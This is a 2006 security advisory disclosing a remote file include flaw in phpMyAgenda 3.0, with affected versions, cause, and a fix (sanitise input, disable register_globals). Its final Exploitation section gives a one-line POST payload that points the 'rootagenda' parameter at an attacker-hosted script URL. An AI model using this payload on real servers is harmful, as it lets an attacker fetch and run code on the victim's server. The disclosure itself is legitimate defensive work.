[MajorSecurity] phpMyAgenda 3.0 Final - Remote File Include

[admin@majorsecurity.de]

[MajorSecurity] phpMyAgenda 3.0 Final - Remote File Include Vulnerability
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Software: phpMyAgenda
Version: 3.0 Final
Type: Remote File Include Vulnerability
Date: April, 24th 2006
Vendor: phpMyAgenda
Page: http://phpmyagenda.com
Risc: High


Credits:
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Discovered by: 'Aesthetico'
http://www.majorsecurity.de


Affected Products:
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phpMyAgenda 3.0 Final and prior


Description:
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phpMyAgenda is a complete web application that allows you to manage
and publish events (concert, meetings, etc...).
It stores description, dates, places, contacts, event registrations, and event polls.


Requirements:
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register_globals = On


Vulnerability:
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Input passed to the "rootagenda" parameter in "agenda.php3" is not
properly verified, before it is used to include files.
This can be exploited to execute arbitrary code by including files from external resources.


Solution:
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Edit the source code to ensure that input is properly sanitised.

Set "register_globals" to "Off".


Exploitation:
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Post data:
rootagenda=http://www.yourspace.com/yourscript.php?